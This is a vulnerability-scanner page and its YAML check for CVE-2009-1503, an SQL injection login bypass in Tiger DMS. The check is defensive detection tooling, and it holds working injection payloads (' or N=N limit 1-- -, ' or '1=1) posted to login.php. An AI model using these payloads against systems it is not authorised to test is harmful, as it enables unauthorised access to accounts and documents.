Tiger DMS — 1 vulnerability check

noctis ships 1 vulnerability check for Tiger DMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Tiger DMS login.php SQL injection authentication bypass

CVECVE-2009-1503
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/tiger-dms/CVE-2009-1503.yaml

Looks for the Tiger DMS (Tiger Document Management System) login page (login.php with its "Powered by Tiger DMS" footer or the product name next to the username / password form) under /dms, /tigerdms and the web root. It then posts two logins to login.php whose user name is a SQL condition: an always-false one (<random>' or N=N+1 limit 1-- -) and an always-true one (<random>' or N=N limit 1-- -), each with a random password. The finding fires when the true condition is redirected to index.php (the session opened after a successful login) while the false one is not: the user name is evaluated inside the login SQL query and the password check is bypassed. A login page that also redirects the false condition to index.php is reported separately, with lower confidence. Both requests are ordinary login attempts; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/login.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/login.php with a crafted body
  5. HTTP(S) request POST {{dir}}/login.php with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.loc for . → finding QoD 97: Tiger DMS login.php SQL injection authentication bypass
  8. Checks v.loc for . → finding QoD 75: Tiger DMS login.php SQL injection authentication bypass
  9. Checks v.loc for . → finding QoD 50: Tiger DMS login redirects an invalid login to index.php

References:

Feed source — tests/vulnerabilities/tiger-dms/CVE-2009-1503.yaml
# Tiger Document Management System (Tiger DMS) login.php SQL injection authentication
# bypass (CVE-2009-1503).
#
# Ported from OpenVAS/Greenbone NVT `2009/tiger_dms_34775.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100173, GPL-2.0-only). The NASL GETs <dir>/login.php for
# /dms and the CGI dirs, requires 'Powered by <a href=[^>]+>Tiger DMS</a>', then POSTs
# username=' or '1=1&password=' or '1=1' limit 1 -- &login=Submit to login.php and
# reports "Location: index.php".
#
# Vulnerable code (EDB-8571, login.php; the vendor site and downloads are gone):
#   SELECT * FROM $prefix users where username='$r_username' and password='$r_password'
#   mysql_num_rows == 1 → session + header("Location: index.php")
#
# Better than the NASL:
#   - The NASL glues the session cookie into the POST body ("PHPSESSID=..&username=..")
#     instead of a Cookie header; the feed sends a clean form.
#   - Payload: `<random>' or N=N limit 1-- -` in the user name alone selects exactly one
#     account row whatever the users table holds (num_rows must be 1) and comments the
#     password check out.
#   - Control: the same shape with a false condition (`N=N+1`) must NOT be redirected to
#     index.php — QoD 97 true/false differential. Control without a reply → QoD 75.
#     Control also redirected to index.php → separate low-QoD "redirects an invalid login" finding (no CVE).
#   - Fingerprint: the NASL's "Powered by" link, or the product name next to the
#     username / password login form (themes that drop the footer link).
#   - Also tries /tigerdms besides /dms and the web root.
# Both requests are plain login attempts; nothing is read or written.
uid: bd00f067-4c3a-4edc-a1eb-6d982432524a
name: "Tiger DMS login.php SQL injection authentication bypass"
description: >-
  Looks for the Tiger DMS (Tiger Document Management System) login page
  (login.php with its "Powered by Tiger DMS" footer or the product name next
  to the username / password form) under /dms, /tigerdms and the web root. It
  then posts two logins to login.php whose user name is a SQL condition: an
  always-false one (<random>' or N=N+1 limit 1-- -) and an always-true one
  (<random>' or N=N limit 1-- -), each with a random password. The finding
  fires when the true condition is redirected to index.php (the session opened
  after a successful login) while the false one is not: the user name is
  evaluated inside the login SQL query and the password check is bypassed. A
  login page that also redirects the false condition to index.php is reported
  separately, with lower confidence. Both
  requests are ordinary login attempts; no data is read or changed.
category: sqli
cves: [CVE-2009-1503]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [tiger-dms, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1503"
  - "https://www.exploit-db.com/exploits/8571"
  - "http://www.securityfocus.com/bid/34775"
  - "OpenVAS/Greenbone NASL 2009/tiger_dms_34775.nasl (GPL-2.0-only)"

steps:
  # Shared random values: user-name prefix, password and the condition operand.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/dms", "/tigerdms", ""]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: "", headers: {}}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: "", headers: {}}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let powered = ereg("Powered by <a href=[^>]+>Tiger DMS</a>", b);
      let form = ereg("tiger ?dms", b, true)
        && ereg("name=[\"']?username", b, true) && ereg("name=[\"']?password", b, true);
      page.status == 200 && (powered || form)
    store_as: is_tdms

  # Control: false condition of the same shape — must not log in.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_tdms"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/login.php"
    body: "username={{rv.u}}%27+or+{{rv.n}}%3D{{rv.f}}+limit+1--+-&password={{rv.p}}&login=Submit"
    store_as: ctl

  # Injection: always-true condition, exactly one account row selected.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/login.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_tdms"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/login.php"
    body: "username={{rv.u}}%27+or+{{rv.n}}%3D{{rv.n}}+limit+1--+-&password={{rv.p}}&login=Submit"
    store_as: inj

  - id: verdict
    action: script
    code: |
      fn loc_of(r) {
        if type_of(r) != "map" || type_of(r.headers) != "map" { return ""; }
        let l = r.headers["location"];
        if type_of(l) == "string" { l.trim(); l } else { "" }
      }
      fn to_index(r, l) {
        type_of(r) == "map" && r.status >= 300 && r.status < 400
          && (l == "index.php" || l.ends_with("/index.php"))
      }
      let li = loc_of(inj);
      let lc = loc_of(ctl);
      let hit = is_tdms && to_index(inj, li);
      let ctl_login = to_index(ctl, lc);
      let ctl_none = type_of(ctl) != "map" || ctl.status == 0;
      let ctl_desc = if lc != "" { "status " + ctl.status + ", Location: " + lc }
                     else if ctl_none { "no reply" } else { "status " + ctl.status + ", no redirect" };
      #{ sqli: hit && !ctl_none && !ctl_login, sqli_noctl: hit && ctl_none,
         any: hit && ctl_login, loc: li, ctl: ctl_desc }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.loc
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2009-1503]
        title: "Tiger DMS login.php SQL injection authentication bypass"
        description: "The Tiger DMS login page (login.php) concatenates the user name and password into its SQL query, so an unauthenticated attacker bypasses the password check and opens a session as the first account (usually the administrator)."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/login.php with username={{rv.u}}' or {{rv.n}}={{rv.n}} limit 1-- - and a random password was redirected to {{v.loc}} (session opened); the same login with the false condition {{rv.n}}={{rv.f}} was rejected ({{v.ctl}})."
        remediation: "Tiger DMS is no longer maintained and no fixed release is known: remove it, or restrict access to it to trusted users and change the login query to a prepared statement."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.loc
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2009-1503]
        title: "Tiger DMS login.php SQL injection authentication bypass"
        description: "The Tiger DMS login page (login.php) concatenates the user name and password into its SQL query, so an unauthenticated attacker bypasses the password check and opens a session as the first account (usually the administrator)."
        confidence_delta: 0.50
        qod: 75
        evidence: "POST {{dir}}/login.php with username={{rv.u}}' or {{rv.n}}={{rv.n}} limit 1-- - and a random password was redirected to {{v.loc}} (session opened); the false-condition control login got no reply."
        remediation: "Tiger DMS is no longer maintained and no fixed release is known: remove it, or restrict access to it to trusted users and change the login query to a prepared statement."
      stop: true

  - id: any-login
    action: match
    source: v.loc
    pattern: "."
    condition: "v.any"
    on_match:
      finding:
        cves: []
        title: "Tiger DMS login redirects an invalid login to index.php"
        description: "The Tiger DMS login page answered a user name and password that match no account with the same redirect to index.php as a successful login. The application may be reachable without valid credentials; check the page served after the redirect."
        confidence_delta: 0.20
        qod: 50
        evidence: "POST {{dir}}/login.php was redirected to {{v.loc}} both for username={{rv.u}}' or {{rv.n}}={{rv.n}} limit 1-- - and for the false condition {{rv.n}}={{rv.f}} ({{v.ctl}}), each with a random password."
        remediation: "Remove Tiger DMS or restrict access to it to trusted users."
      stop: true

View these feeds on GitHub